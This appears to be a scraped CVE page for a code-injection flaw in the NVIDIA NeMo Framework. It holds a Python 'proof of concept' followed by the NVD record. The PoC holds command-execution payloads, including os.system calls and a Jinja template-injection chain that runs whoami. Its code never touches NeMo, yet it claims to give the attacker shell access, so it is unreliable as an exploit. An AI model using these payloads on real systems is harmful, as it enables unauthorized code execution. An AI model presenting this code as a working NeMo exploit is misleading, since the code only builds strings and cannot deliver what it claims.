CVE-2025-33204

# CVE-2025-33204 PoC - NVIDIA NeMo Framework Code Injection # This PoC demonstrates the code injection vulnerability in NeMo NLP/LLM components # Use only for authorized security testing import torch from nemo.collections.nlp.models import LanguageModel def exploit_neomo_injection(): """ Malicious payload injection for NeMo Framework """ # Attack vector 1: Malicious training data malicious_training_data = [ { "text": "Normal input data", "__import__('os').system('malicious_command')": "injected" } ] # Attack vector 2: Crafted input for LLM inference malicious_prompt = """ [System Instruction] {{__import__('os').system('id > /tmp/pwned')}} """ # Attack vector 3: Template injection via prompt engineering injection_payload = """ {% for x in ().__class__.__base__.__subclasses__() %} {% if x.__name__ == 'catch_warnings' %} {% for mod in x.__func__(x.__init__()).__globals__.values() %} {% if mod.__name__ == 'os' %} {{ mod.system('whoami') }} {% endif %} {% endfor %} {% endif %} {% endfor %} """ return malicious_prompt, injection_payload # Example exploitation scenario def attack_scenario(): """ Step 1: Attacker prepares malicious input data Step 2: Data is loaded into NeMo training pipeline Step 3: Insufficient sanitization allows code execution Step 4: Attacker gains shell access on target system """ print("Preparing malicious payload...") payload = exploit_neomo_injection() return payload

{"cve": {"id": "CVE-2025-33204", "sourceIdentifier": "[email protected]", "published": "2025-11-25T18:15:52.357", "lastModified": "2025-12-02T18:11:27.523", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA NeMo Framework for all platforms contains a vulnerability in the NLP and LLM components, where malicious data created by an attacker could cause code injection. A successful exploit of this vulnerability may lead to code execution, escalation of privileges, information disclosure, and data tampering."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:nemo:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.5.1", "matchCriteriaId": "7DA1A981-8A91-49BC-AACD-30BB8D5E4175"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33204", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5729", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-33204", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}